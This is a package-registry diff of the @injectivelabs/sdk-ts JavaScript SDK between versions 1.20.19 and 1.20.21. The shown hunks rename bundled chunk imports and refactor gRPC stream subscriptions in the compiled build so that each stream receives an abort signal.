@injectivelabs/sdk-ts 1.20.19 → 1.20.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/{DirectEthSecp256k1Wallet-CbsATe2T.cjs → DirectEthSecp256k1Wallet-dxpOk1OA.cjs} +1 -1
- package/dist/cjs/{MsgSetDenomMetadata-tA6IVCia.cjs → MsgSetDenomMetadata-Tbn9a4Ug.cjs} +1 -1
- package/dist/cjs/{StreamManagerV2-Bdqr75jP.cjs → StreamManagerV2-FrbJ3m3S.cjs} +40 -39
- package/dist/cjs/{accounts-pXwUOxWb.cjs → accounts-Cy0p4lLW.cjs} +135 -0
- package/dist/cjs/client/chain.d.cts +1 -1
- package/dist/cjs/client/indexer.cjs +1 -1
- package/dist/cjs/client/indexer.d.cts +1 -1
- package/dist/cjs/core/accounts.cjs +1 -1
- package/dist/cjs/core/accounts.d.cts +1 -1
- package/dist/cjs/core/modules.cjs +3 -3
- package/dist/cjs/core/modules.d.cts +1 -1
- package/dist/cjs/core/tx.cjs +2 -2
- package/dist/cjs/core/tx.d.cts +1 -1
- package/dist/cjs/cosmjs.cjs +3 -3
- package/dist/cjs/exports.cjs +3 -3
- package/dist/cjs/{index-DNOtalJa.d.cts → index-q5YtgJu7.d.cts} +7 -5
- package/dist/cjs/index.cjs +4 -4
- package/dist/cjs/index.d.cts +1 -1
- package/dist/cjs/{tx-BlFLQ52d.cjs → tx-Bf672U9O.cjs} +1 -1
- package/dist/cjs/utils.d.cts +1 -1
- package/dist/esm/{BaseGrpcConsumer-Dyo1rsKM.d.ts → BaseGrpcConsumer-DwjdgMEj.d.ts} +1 -1
- package/dist/esm/{DirectEthSecp256k1Wallet-Daky9CEn.js → DirectEthSecp256k1Wallet-JbKKPDnJ.js} +1 -1
- package/dist/esm/{MsgSetDenomMetadata-DGdnd-QI.js → MsgSetDenomMetadata-9nBAd-Az.js} +1 -1
- package/dist/esm/{StreamManagerV2-BSUBca8a.js → StreamManagerV2-B_bsAI2j.js} +40 -39
- package/dist/esm/{accounts-3rypojw1.js → accounts-jQ1GSgaW.js} +136 -0
- package/dist/esm/chunk-DkGwDS9Q.js +22 -0
- package/dist/esm/client/abacus.d.ts +4 -4
- package/dist/esm/client/chain.d.ts +13 -13
- package/dist/esm/client/indexer.d.ts +13 -13
- package/dist/esm/client/indexer.js +1 -1
- package/dist/esm/client/olp.d.ts +4 -4
- package/dist/esm/client/tcAbacus.d.ts +4 -4
- package/dist/esm/client/wasm.d.ts +3 -3
- package/dist/esm/core/accounts.d.ts +13 -13
- package/dist/esm/core/accounts.js +1 -1
- package/dist/esm/core/modules.d.ts +13 -13
- package/dist/esm/core/modules.js +3 -3
- package/dist/esm/core/tx.d.ts +13 -13
- package/dist/esm/core/tx.js +2 -2
- package/dist/esm/cosmjs.d.ts +2 -2
- package/dist/esm/cosmjs.js +3 -3
- package/dist/esm/exports.d.ts +2 -2
- package/dist/esm/exports.js +3 -3
- package/dist/esm/{index-VhsnRms4.d.ts → index-BJCtzNxJ.d.ts} +1 -1
- package/dist/esm/{index-Cq2dSdWc.d.ts → index-BNsQBnY4.d.ts} +1 -1
- package/dist/esm/{index-Cemed7AZ.d.ts → index-CZzgneGL.d.ts} +2 -2
- package/dist/esm/{index-aAyEn6I7.d.ts → index-Clmexmvo.d.ts} +12 -10
- package/dist/esm/{index-DcfFcBBT.d.ts → index-CpZqM6rl.d.ts} +1 -1
- package/dist/esm/{index-lpl00nu5.d.ts → index-NKpls7f7.d.ts} +1 -1
- package/dist/esm/{index-CkEs7_cy.d.ts → index-QNpo0NP3.d.ts} +1 -1
- package/dist/esm/{index-Bmd15r-k.d.ts → index-gxGBHZg_.d.ts} +1 -1
- package/dist/esm/index.d.ts +13 -13
- package/dist/esm/index.js +4 -4
- package/dist/esm/proto/cosmos-tx.d.ts +1 -1
- package/dist/esm/service.d.ts +3 -3
- package/dist/esm/{tx-Pg714BW8.js → tx-5kv5Skat.js} +1 -1
- package/dist/esm/{tx_pb-DZQILTFk.d.ts → tx_pb-CuH38X2T.d.ts} +2 -1
- package/dist/esm/types.d.ts +2 -2
- package/dist/esm/utils/address.d.ts +1 -1
- package/dist/esm/utils/constants.d.ts +1 -1
- package/dist/esm/utils/encoding.d.ts +1 -1
- package/dist/esm/utils/light.d.ts +4 -4
- package/dist/esm/utils.d.ts +13 -13
- package/package.json +5 -5
- /package/dist/esm/{address-light-BcZDS-ks.d.ts → address-light-DNlU8VS6.d.ts} +0 -0
- /package/dist/esm/{coins-ceq0Id0M.d.ts → coins-CQYnMIdU.d.ts} +0 -0
- /package/dist/esm/{constants-BZ28P_pH.d.ts → constants-DUFQo4rC.d.ts} +0 -0
- /package/dist/esm/{encoding-light-18k0e_8v.d.ts → encoding-light-BAMQ4EKl.d.ts} +0 -0
package/dist/cjs/{DirectEthSecp256k1Wallet-CbsATe2T.cjs → DirectEthSecp256k1Wallet-dxpOk1OA.cjs}
RENAMED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
const require_chunk = require('./chunk-CbDLau6x.cjs');
|
|
2
2
|
const require_encoding_light = require('./encoding-light-D96nxVLW.cjs');
|
|
3
3
|
const require_defineProperty = require('./defineProperty-C3FP2y9Y.cjs');
|
|
4
|
-
const require_accounts = require('./accounts-
|
|
4
|
+
const require_accounts = require('./accounts-Cy0p4lLW.cjs');
|
|
5
5
|
let __injectivelabs_core_proto_ts_v2_generated_cosmos_base_v1beta1_coin_pb = require("@injectivelabs/core-proto-ts-v2/generated/cosmos/base/v1beta1/coin_pb");
|
|
6
6
|
__injectivelabs_core_proto_ts_v2_generated_cosmos_base_v1beta1_coin_pb = require_chunk.__toESM(__injectivelabs_core_proto_ts_v2_generated_cosmos_base_v1beta1_coin_pb);
|
|
7
7
|
let __injectivelabs_core_proto_ts_v2_generated_injective_types_v1beta1_account_pb = require("@injectivelabs/core-proto-ts-v2/generated/injective/types/v1beta1/account_pb");
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
const require_chunk = require('./chunk-CbDLau6x.cjs');
|
|
2
2
|
const require_encoding_light = require('./encoding-light-D96nxVLW.cjs');
|
|
3
3
|
const require_defineProperty = require('./defineProperty-C3FP2y9Y.cjs');
|
|
4
|
-
const require_accounts = require('./accounts-
|
|
4
|
+
const require_accounts = require('./accounts-Cy0p4lLW.cjs');
|
|
5
5
|
const require_utils = require('./utils-CH1Ojxun.cjs');
|
|
6
6
|
const require_address_light = require('./address-light-C_a6b8yF.cjs');
|
|
7
7
|
const require_MsgBase = require('./MsgBase-BJmf0IHm.cjs');
|
|
@@ -7248,13 +7248,14 @@ function extractGrpcError(error) {
|
|
|
7248
7248
|
* - User callback errors are caught and emitted separately to distinguish from stream errors
|
|
7249
7249
|
* - Aborted streams don't emit any events (clean shutdown)
|
|
7250
7250
|
*
|
|
7251
|
-
* @param
|
|
7251
|
+
* @param streamFactory - Creates the ServerStreamingCall from the V2 client
|
|
7252
7252
|
* @param handleResponse - Callback to process each stream response
|
|
7253
7253
|
* @returns StreamSubscription with event emitters for error/complete
|
|
7254
7254
|
*/
|
|
7255
|
-
function createStreamSubscriptionV2(
|
|
7255
|
+
function createStreamSubscriptionV2(streamFactory, handleResponse) {
|
|
7256
7256
|
const emitter = new eventemitter3.EventEmitter();
|
|
7257
7257
|
const abortController = new AbortController();
|
|
7258
|
+
const stream = streamFactory(abortController.signal);
|
|
7258
7259
|
let hasEmittedTerminalEvent = false;
|
|
7259
7260
|
const subscription = {
|
|
7260
7261
|
unsubscribe: () => {
|
|
@@ -7319,7 +7320,7 @@ var IndexerGrpcRfqStreamV2 = class {
|
|
|
7319
7320
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7320
7321
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_rfq_rpc_pb.StreamRequestRequest.create();
|
|
7321
7322
|
if (marketIds && marketIds.length > 0) request.marketIds = marketIds;
|
|
7322
|
-
return createStreamSubscriptionV2(this.client.streamRequest(request), (response) => {
|
|
7323
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamRequest(request, { abort: abortSignal }), (response) => {
|
|
7323
7324
|
callback(IndexerRfqStreamTransformer.requestStreamCallback(response));
|
|
7324
7325
|
});
|
|
7325
7326
|
}
|
|
@@ -7328,7 +7329,7 @@ var IndexerGrpcRfqStreamV2 = class {
|
|
|
7328
7329
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_rfq_rpc_pb.StreamQuoteRequest.create();
|
|
7329
7330
|
if (addresses && addresses.length > 0) request.addresses = addresses;
|
|
7330
7331
|
if (marketIds && marketIds.length > 0) request.marketIds = marketIds;
|
|
7331
|
-
return createStreamSubscriptionV2(this.client.streamQuote(request), (response) => {
|
|
7332
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamQuote(request, { abort: abortSignal }), (response) => {
|
|
7332
7333
|
callback(IndexerRfqStreamTransformer.quoteStreamCallback(response));
|
|
7333
7334
|
});
|
|
7334
7335
|
}
|
|
@@ -7336,7 +7337,7 @@ var IndexerGrpcRfqStreamV2 = class {
|
|
|
7336
7337
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7337
7338
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_rfq_rpc_pb.StreamSettlementRequest.create();
|
|
7338
7339
|
if (addresses && addresses.length > 0) request.addresses = addresses;
|
|
7339
|
-
return createStreamSubscriptionV2(this.client.streamSettlement(request), (response) => {
|
|
7340
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamSettlement(request, { abort: abortSignal }), (response) => {
|
|
7340
7341
|
callback(IndexerRfqStreamTransformer.settlementStreamCallback(response));
|
|
7341
7342
|
});
|
|
7342
7343
|
}
|
|
@@ -7362,7 +7363,7 @@ var IndexerGrpcSpotStreamV2 = class {
|
|
|
7362
7363
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7363
7364
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_spot_exchange_rpc_pb.StreamOrderbookUpdateRequest.create();
|
|
7364
7365
|
request.marketIds = marketIds;
|
|
7365
|
-
return createStreamSubscriptionV2(this.client.streamOrderbookUpdate(request), (response) => {
|
|
7366
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrderbookUpdate(request, { abort: abortSignal }), (response) => {
|
|
7366
7367
|
callback(IndexerSpotStreamTransformer.orderbookUpdateStreamCallback(response));
|
|
7367
7368
|
});
|
|
7368
7369
|
}
|
|
@@ -7380,7 +7381,7 @@ var IndexerGrpcSpotStreamV2 = class {
|
|
|
7380
7381
|
if (marketId) request.marketId = marketId;
|
|
7381
7382
|
if (subaccountId) request.subaccountId = subaccountId;
|
|
7382
7383
|
if (orderSide) request.orderSide = orderSide;
|
|
7383
|
-
return createStreamSubscriptionV2(this.client.streamOrders(request), (response) => {
|
|
7384
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrders(request, { abort: abortSignal }), (response) => {
|
|
7384
7385
|
callback(IndexerSpotStreamTransformer.ordersStreamCallback(response));
|
|
7385
7386
|
});
|
|
7386
7387
|
}
|
|
@@ -7404,7 +7405,7 @@ var IndexerGrpcSpotStreamV2 = class {
|
|
|
7404
7405
|
if (direction) request.direction = direction;
|
|
7405
7406
|
if (state) request.state = state;
|
|
7406
7407
|
if (executionTypes) request.executionTypes = executionTypes;
|
|
7407
|
-
return createStreamSubscriptionV2(this.client.streamOrdersHistory(request), (response) => {
|
|
7408
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrdersHistory(request, { abort: abortSignal }), (response) => {
|
|
7408
7409
|
callback(IndexerSpotStreamTransformer.orderHistoryStreamCallback(response));
|
|
7409
7410
|
});
|
|
7410
7411
|
}
|
|
@@ -7430,7 +7431,7 @@ var IndexerGrpcSpotStreamV2 = class {
|
|
|
7430
7431
|
if (executionSide) request.executionSide = executionSide;
|
|
7431
7432
|
if (direction) request.direction = direction;
|
|
7432
7433
|
if (executionTypes) request.executionTypes = executionTypes;
|
|
7433
|
-
return createStreamSubscriptionV2(this.client.streamTrades(request), (response) => {
|
|
7434
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamTrades(request, { abort: abortSignal }), (response) => {
|
|
7434
7435
|
callback(IndexerSpotStreamTransformer.tradesStreamCallback(response));
|
|
7435
7436
|
});
|
|
7436
7437
|
}
|
|
@@ -7457,7 +7458,7 @@ var IndexerGrpcMitoStreamV2 = class {
|
|
|
7457
7458
|
const request = __injectivelabs_mito_proto_ts_v2_generated_goadesign_goagen_mito_api_pb.StreamTransfersRequest.create();
|
|
7458
7459
|
if (vault) request.vault = vault;
|
|
7459
7460
|
if (account) request.account = account;
|
|
7460
|
-
return createStreamSubscriptionV2(this.client.streamTransfers(request), (response) => {
|
|
7461
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamTransfers(request, { abort: abortSignal }), (response) => {
|
|
7461
7462
|
callback(IndexerGrpcMitoStreamTransformer.transfersStreamCallback(response));
|
|
7462
7463
|
});
|
|
7463
7464
|
}
|
|
@@ -7471,7 +7472,7 @@ var IndexerGrpcMitoStreamV2 = class {
|
|
|
7471
7472
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7472
7473
|
const request = __injectivelabs_mito_proto_ts_v2_generated_goadesign_goagen_mito_api_pb.StreamVaultRequest.create();
|
|
7473
7474
|
if (vault) request.vault = vault;
|
|
7474
|
-
return createStreamSubscriptionV2(this.client.streamVault(request), (response) => {
|
|
7475
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamVault(request, { abort: abortSignal }), (response) => {
|
|
7475
7476
|
callback(IndexerGrpcMitoStreamTransformer.vaultStreamCallback(response));
|
|
7476
7477
|
});
|
|
7477
7478
|
}
|
|
@@ -7490,7 +7491,7 @@ var IndexerGrpcMitoStreamV2 = class {
|
|
|
7490
7491
|
request.holderAddress = holderAddress;
|
|
7491
7492
|
if (vaultAddress) request.vaultAddress = vaultAddress;
|
|
7492
7493
|
if (stakingContractAddress) request.stakingContractAddress = stakingContractAddress;
|
|
7493
|
-
return createStreamSubscriptionV2(this.client.streamHolderSubscription(request), (response) => {
|
|
7494
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamHolderSubscription(request, { abort: abortSignal }), (response) => {
|
|
7494
7495
|
callback(IndexerGrpcMitoStreamTransformer.vaultHolderSubscriptionStreamCallback(response));
|
|
7495
7496
|
});
|
|
7496
7497
|
}
|
|
@@ -7508,7 +7509,7 @@ var IndexerGrpcMitoStreamV2 = class {
|
|
|
7508
7509
|
const request = __injectivelabs_mito_proto_ts_v2_generated_goadesign_goagen_mito_api_pb.StreamStakingRewardByAccountRequest.create();
|
|
7509
7510
|
request.staker = staker;
|
|
7510
7511
|
request.stakingContractAddress = stakingContractAddress;
|
|
7511
|
-
return createStreamSubscriptionV2(this.client.streamStakingRewardByAccount(request), (response) => {
|
|
7512
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamStakingRewardByAccount(request, { abort: abortSignal }), (response) => {
|
|
7512
7513
|
callback(IndexerGrpcMitoStreamTransformer.stakingRewardByAccountStreamCallback(response));
|
|
7513
7514
|
});
|
|
7514
7515
|
}
|
|
@@ -7526,7 +7527,7 @@ var IndexerGrpcMitoStreamV2 = class {
|
|
|
7526
7527
|
const request = __injectivelabs_mito_proto_ts_v2_generated_goadesign_goagen_mito_api_pb.StreamHistoricalStakingRequest.create();
|
|
7527
7528
|
request.staker = staker;
|
|
7528
7529
|
request.stakingContractAddress = stakingContractAddress;
|
|
7529
|
-
return createStreamSubscriptionV2(this.client.streamHistoricalStaking(request), (response) => {
|
|
7530
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamHistoricalStaking(request, { abort: abortSignal }), (response) => {
|
|
7530
7531
|
callback(IndexerGrpcMitoStreamTransformer.historicalStakingStreamCallback(response));
|
|
7531
7532
|
});
|
|
7532
7533
|
}
|
|
@@ -7556,7 +7557,7 @@ var IndexerGrpcOracleStreamV2 = class {
|
|
|
7556
7557
|
if (baseSymbol) request.baseSymbol = baseSymbol;
|
|
7557
7558
|
if (quoteSymbol) request.quoteSymbol = quoteSymbol;
|
|
7558
7559
|
request.oracleType = oracleType;
|
|
7559
|
-
return createStreamSubscriptionV2(this.client.streamPrices(request), (response) => {
|
|
7560
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamPrices(request, { abort: abortSignal }), (response) => {
|
|
7560
7561
|
callback(IndexerOracleStreamTransformer.pricesStreamCallback(response));
|
|
7561
7562
|
});
|
|
7562
7563
|
}
|
|
@@ -7570,7 +7571,7 @@ var IndexerGrpcOracleStreamV2 = class {
|
|
|
7570
7571
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7571
7572
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_oracle_rpc_pb.StreamPricesByMarketsRequest.create();
|
|
7572
7573
|
if (marketIds) request.marketIds = marketIds;
|
|
7573
|
-
return createStreamSubscriptionV2(this.client.streamPricesByMarkets(request), (response) => {
|
|
7574
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamPricesByMarkets(request, { abort: abortSignal }), (response) => {
|
|
7574
7575
|
callback(IndexerOracleStreamTransformer.pricesByMarketsCallback(response));
|
|
7575
7576
|
});
|
|
7576
7577
|
}
|
|
@@ -7579,7 +7580,7 @@ var IndexerGrpcOracleStreamV2 = class {
|
|
|
7579
7580
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_oracle_rpc_pb.StreamOracleListRequest.create();
|
|
7580
7581
|
if (oracleType) request.oracleType = oracleType;
|
|
7581
7582
|
if (symbols && symbols.length > 0) request.symbols = symbols;
|
|
7582
|
-
return createStreamSubscriptionV2(this.client.streamOracleList(request), (response) => {
|
|
7583
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOracleList(request, { abort: abortSignal }), (response) => {
|
|
7583
7584
|
callback(IndexerOracleStreamTransformer.oracleListStreamCallback(response));
|
|
7584
7585
|
});
|
|
7585
7586
|
}
|
|
@@ -7605,7 +7606,7 @@ var IndexerGrpcAccountStreamV2 = class {
|
|
|
7605
7606
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7606
7607
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_accounts_rpc_pb.StreamSubaccountBalanceRequest.create();
|
|
7607
7608
|
request.subaccountId = subaccountId;
|
|
7608
|
-
return createStreamSubscriptionV2(this.client.streamSubaccountBalance(request), (response) => {
|
|
7609
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamSubaccountBalance(request, { abort: abortSignal }), (response) => {
|
|
7609
7610
|
callback(IndexerAccountStreamTransformer.balanceStreamCallback(response));
|
|
7610
7611
|
});
|
|
7611
7612
|
}
|
|
@@ -7628,7 +7629,7 @@ var IndexerGrpcAuctionStreamV2 = class {
|
|
|
7628
7629
|
streamBids({ callback }) {
|
|
7629
7630
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7630
7631
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_auction_rpc_pb.StreamBidsRequest.create();
|
|
7631
|
-
return createStreamSubscriptionV2(this.client.streamBids(request), (response) => {
|
|
7632
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamBids(request, { abort: abortSignal }), (response) => {
|
|
7632
7633
|
callback(IndexerAuctionStreamTransformer.bidsStreamCallback(response));
|
|
7633
7634
|
});
|
|
7634
7635
|
}
|
|
@@ -7656,7 +7657,7 @@ var IndexerGrpcTradingStreamV2 = class {
|
|
|
7656
7657
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_trading_rpc_pb.StreamStrategyRequest.create();
|
|
7657
7658
|
if (accountAddresses) request.accountAddresses = accountAddresses;
|
|
7658
7659
|
if (marketId) request.marketId = marketId;
|
|
7659
|
-
return createStreamSubscriptionV2(this.client.streamStrategy(request), (response) => {
|
|
7660
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamStrategy(request, { abort: abortSignal }), (response) => {
|
|
7660
7661
|
callback(response);
|
|
7661
7662
|
});
|
|
7662
7663
|
}
|
|
@@ -7682,7 +7683,7 @@ var IndexerGrpcArchiverStreamV2 = class {
|
|
|
7682
7683
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7683
7684
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_archiver_rpc_pb.StreamSpotAverageEntriesRequest.create();
|
|
7684
7685
|
request.account = account;
|
|
7685
|
-
return createStreamSubscriptionV2(this.client.streamSpotAverageEntries(request), (response) => {
|
|
7686
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamSpotAverageEntries(request, { abort: abortSignal }), (response) => {
|
|
7686
7687
|
callback(IndexerArchiverStreamTransformer.spotAverageEntriesStreamCallback(response));
|
|
7687
7688
|
});
|
|
7688
7689
|
}
|
|
@@ -7705,7 +7706,7 @@ var IndexerGrpcExplorerStreamV2 = class {
|
|
|
7705
7706
|
streamBlocks({ callback }) {
|
|
7706
7707
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7707
7708
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_explorer_rpc_pb.StreamBlocksRequest.create();
|
|
7708
|
-
return createStreamSubscriptionV2(this.client.streamBlocks(request), (response) => {
|
|
7709
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamBlocks(request, { abort: abortSignal }), (response) => {
|
|
7709
7710
|
callback(ExplorerStreamTransformer.blocksStreamCallback(response));
|
|
7710
7711
|
});
|
|
7711
7712
|
}
|
|
@@ -7717,7 +7718,7 @@ var IndexerGrpcExplorerStreamV2 = class {
|
|
|
7717
7718
|
streamBlocksWithTxs({ callback }) {
|
|
7718
7719
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7719
7720
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_explorer_rpc_pb.StreamBlocksRequest.create();
|
|
7720
|
-
return createStreamSubscriptionV2(this.client.streamBlocks(request), (response) => {
|
|
7721
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamBlocks(request, { abort: abortSignal }), (response) => {
|
|
7721
7722
|
callback(ExplorerStreamTransformer.blocksWithTxsStreamCallback(response));
|
|
7722
7723
|
});
|
|
7723
7724
|
}
|
|
@@ -7729,7 +7730,7 @@ var IndexerGrpcExplorerStreamV2 = class {
|
|
|
7729
7730
|
streamTransactions({ callback }) {
|
|
7730
7731
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7731
7732
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_explorer_rpc_pb.StreamTxsRequest.create();
|
|
7732
|
-
return createStreamSubscriptionV2(this.client.streamTxs(request), (response) => {
|
|
7733
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamTxs(request, { abort: abortSignal }), (response) => {
|
|
7733
7734
|
callback(ExplorerStreamTransformer.transactionsStreamCallback(response));
|
|
7734
7735
|
});
|
|
7735
7736
|
}
|
|
@@ -7762,7 +7763,7 @@ var IndexerGrpcWsPriceOracleStreamV2 = class {
|
|
|
7762
7763
|
if (marketIds && marketIds.length > 0) request.marketIds = marketIds;
|
|
7763
7764
|
if (oracleTypes && oracleTypes.length > 0) request.oracleTypes = oracleTypes;
|
|
7764
7765
|
if (includeInactive !== void 0) request.includeInactive = includeInactive;
|
|
7765
|
-
return createStreamSubscriptionV2(this.client.streamMarkets(request), (response) => {
|
|
7766
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamMarkets(request, { abort: abortSignal }), (response) => {
|
|
7766
7767
|
callback(IndexerWsPriceOracleStreamTransformer.streamMarketsCallback(response));
|
|
7767
7768
|
});
|
|
7768
7769
|
}
|
|
@@ -7782,7 +7783,7 @@ var IndexerGrpcWsPriceOracleStreamV2 = class {
|
|
|
7782
7783
|
if (oracleTypes && oracleTypes.length > 0) request.oracleTypes = oracleTypes;
|
|
7783
7784
|
if (includeInactive !== void 0) request.includeInactive = includeInactive;
|
|
7784
7785
|
if (mode) request.mode = mode;
|
|
7785
|
-
return createStreamSubscriptionV2(this.client.streamMarketsV2(request), (response) => {
|
|
7786
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamMarketsV2(request, { abort: abortSignal }), (response) => {
|
|
7786
7787
|
callback(IndexerWsPriceOracleStreamTransformer.streamMarketsV2Callback(response));
|
|
7787
7788
|
});
|
|
7788
7789
|
}
|
|
@@ -7811,7 +7812,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7811
7812
|
if (marketId) request.marketId = marketId;
|
|
7812
7813
|
if (subaccountId) request.subaccountId = subaccountId;
|
|
7813
7814
|
if (orderSide) request.orderSide = orderSide;
|
|
7814
|
-
return createStreamSubscriptionV2(this.client.streamOrders(request), (response) => {
|
|
7815
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrders(request, { abort: abortSignal }), (response) => {
|
|
7815
7816
|
callback(IndexerDerivativeStreamTransformer.ordersStreamCallback(response));
|
|
7816
7817
|
});
|
|
7817
7818
|
}
|
|
@@ -7835,7 +7836,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7835
7836
|
if (direction) request.direction = direction;
|
|
7836
7837
|
if (state) request.state = state;
|
|
7837
7838
|
if (executionTypes) request.executionTypes = executionTypes;
|
|
7838
|
-
return createStreamSubscriptionV2(this.client.streamOrdersHistory(request), (response) => {
|
|
7839
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrdersHistory(request, { abort: abortSignal }), (response) => {
|
|
7839
7840
|
callback(IndexerDerivativeStreamTransformer.orderHistoryStreamCallback(response));
|
|
7840
7841
|
});
|
|
7841
7842
|
}
|
|
@@ -7864,7 +7865,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7864
7865
|
if (pagination.skip !== void 0) request.skip = BigInt(pagination.skip);
|
|
7865
7866
|
if (pagination.limit !== void 0) request.limit = pagination.limit;
|
|
7866
7867
|
}
|
|
7867
|
-
return createStreamSubscriptionV2(this.client.streamTrades(request), (response) => {
|
|
7868
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamTrades(request, { abort: abortSignal }), (response) => {
|
|
7868
7869
|
callback(IndexerDerivativeStreamTransformer.tradesStreamCallback(response));
|
|
7869
7870
|
});
|
|
7870
7871
|
}
|
|
@@ -7882,7 +7883,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7882
7883
|
if (marketId) request.marketId = marketId;
|
|
7883
7884
|
if (address) request.accountAddress = address;
|
|
7884
7885
|
if (subaccountId) request.subaccountId = subaccountId;
|
|
7885
|
-
return createStreamSubscriptionV2(this.client.streamPositions(request), (response) => {
|
|
7886
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamPositions(request, { abort: abortSignal }), (response) => {
|
|
7886
7887
|
callback(IndexerDerivativeStreamTransformer.positionStreamCallback(response));
|
|
7887
7888
|
});
|
|
7888
7889
|
}
|
|
@@ -7896,7 +7897,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7896
7897
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7897
7898
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_derivative_exchange_rpc_pb.StreamMarketRequest.create();
|
|
7898
7899
|
if (marketIds && marketIds.length) request.marketIds = marketIds;
|
|
7899
|
-
return createStreamSubscriptionV2(this.client.streamMarket(request), (response) => {
|
|
7900
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamMarket(request, { abort: abortSignal }), (response) => {
|
|
7900
7901
|
callback(response);
|
|
7901
7902
|
});
|
|
7902
7903
|
}
|
|
@@ -7911,7 +7912,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7911
7912
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7912
7913
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_derivative_exchange_rpc_pb.StreamOrderbookV2Request.create();
|
|
7913
7914
|
request.marketIds = marketIds;
|
|
7914
|
-
return createStreamSubscriptionV2(this.client.streamOrderbookV2(request), (response) => {
|
|
7915
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrderbookV2(request, { abort: abortSignal }), (response) => {
|
|
7915
7916
|
callback(IndexerDerivativeStreamTransformer.orderbookV2StreamCallback(response));
|
|
7916
7917
|
});
|
|
7917
7918
|
}
|
|
@@ -7926,7 +7927,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7926
7927
|
if (typeof callback !== "function") throw new Error("callback must be a function");
|
|
7927
7928
|
const request = __injectivelabs_indexer_proto_ts_v2_generated_injective_derivative_exchange_rpc_pb.StreamOrderbookUpdateRequest.create();
|
|
7928
7929
|
request.marketIds = marketIds;
|
|
7929
|
-
return createStreamSubscriptionV2(this.client.streamOrderbookUpdate(request), (response) => {
|
|
7930
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamOrderbookUpdate(request, { abort: abortSignal }), (response) => {
|
|
7930
7931
|
callback(IndexerDerivativeStreamTransformer.orderbookUpdateStreamCallback(response));
|
|
7931
7932
|
});
|
|
7932
7933
|
}
|
|
@@ -7944,7 +7945,7 @@ var IndexerGrpcDerivativesStreamV2 = class {
|
|
|
7944
7945
|
if (marketId) request.marketId = marketId;
|
|
7945
7946
|
if (address) request.accountAddress = address;
|
|
7946
7947
|
if (subaccountId) request.subaccountId = subaccountId;
|
|
7947
|
-
return createStreamSubscriptionV2(this.client.streamPositionsV2(request), (response) => {
|
|
7948
|
+
return createStreamSubscriptionV2((abortSignal) => this.client.streamPositionsV2(request, { abort: abortSignal }), (response) => {
|
|
7948
7949
|
callback(IndexerDerivativeStreamTransformer.positionV2StreamCallback(response));
|
|
7949
7950
|
});
|
|
7950
